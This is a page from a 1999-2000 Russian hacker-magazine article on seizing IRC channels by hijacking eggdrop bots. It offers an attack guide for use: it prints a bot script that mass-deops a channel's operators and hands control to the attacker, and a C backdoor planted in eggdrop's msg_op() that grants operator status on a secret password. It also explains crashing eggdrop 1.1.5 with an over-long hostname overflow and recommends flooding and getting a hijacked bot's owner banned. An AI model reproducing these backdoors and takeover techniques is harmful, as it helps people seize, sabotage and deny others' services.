ЖУРНАЛ ХАКЕР

Захват канала на IRC!

Денис Мысенко

Xakep, номер #029, стр. 029-064-2


putserv "mode ${chan} :-oooo <оп5 оп6 оп7 оп8>"

putserv "mode ${chan} :+o-o <твой ник> ${botnick}"

}

Замени оп1-оп8 на имена опов на канале, при необходимости добавь еще (на IrcNet'е добавляй по 3 опа в строку). Таким образом, по команде /msg <ник бота> yahoo <#канал> произойдёт деоп всех левых опов на канале, потом опнет тебя (лучше, если твоих клиентов будет несколько) и снимет статус с себя. Хотя это не всегда прокатывает, т. к. в грамотно настроенных ботнетах предусмотрено автоматическое восстановление @ при деопе, или выдача дополнительных статусов в случае появления новых опов. Отсюда мораль: внимательно конфигурируй мемберов своего botnet`a, и устанавливай максимально прочные связи между ними.

Плюсы метода: красивый ход, полная власть над ботом. К примеру, можешь после захвата канала, завести бота на оперский чан (#us-opers, #eu-opers) и заставить его написать какие-нибудь хулиганства. Тогда камикадзе получит кучу банов на разных серверах, и его легальный владелец еще не раз тебя вспомнит :). Это полезно для лишения противника целого ряда хостов, откуда он обычно заводит ботву. Также эффективно устраивать флуд ботом с того же сервера (realshell.com, к примеру), но с другого аккаунта: отрубят не только твоего подопечного, но и всех сидящих с тем же хостом.

Минусы метода: легко исправим - владелец пришел, исправил конфиг, сменил пароль и конец сказке.

Модификация исходного кода

Рулез рассматриваемого способа заключается в том, что владельцу бота сложнее заметить внесённые тобой изменения, с учётом которых, ты получаешь контроль над говорящим яйцом. Возможно, owner вообще не поймет, чего случилось: просто удалит тебя с бота (если себя добавлял). А в следующий раз ты сможешь без проблем снова заюзать старую нычку (получается своеобразный backdoor). К примеру, добавим кое-чего в начало функции msg_op() из msgcmds.c (eggdrop 1.1.5), обрабатывающую запросы на получение статуса оператора:

if (strcasecmp(par[0], "er33t")) {

chan = chanset;

while (chan != NULL) {

add_mode(chan, '+', 'o', nick);

chan = chan->next;

}

Убийство бота

Все большей популярностью в последнее время пользуется DoS (Denial of Service) - выбивание какого-то сервиса (в нашем случае - бота) из строя. То есть ты не получишь никаких особых прав, просто убьешь бота: эдакий деструктивный метод, но часто самый простой. Пройдет только в том случае, если на канале висят дырявые боты и дырявые клиенты (или клиенты не висят совсем - их юзеры заочно повесились :)). После чего канал просто потеряет операторов и тебе придется брать этот статус с нетсплита или же выносить всех посетителей (тех, что даже без @) и срывать статус, перезаходом на канал. К примеру, можно убить незащищенный eggdrop 1.1.5 (достаточно, популярный на IRC), если ты присвоишь какой-то машине IP, который резолвится (так сказать, DNS'ится, lookup'ится) в 50-символьный хост (вместе с точками). И если с этой машины зателнетишься к боту на его порт (если он открыт, естественно), то он, с горя, умрет (overflow'нется). Так можно быстро погубить целый ботнет.

Назад на стр. 029-064-1  Содержание  Вперед на стр. 029-064-3

1999-2000 ©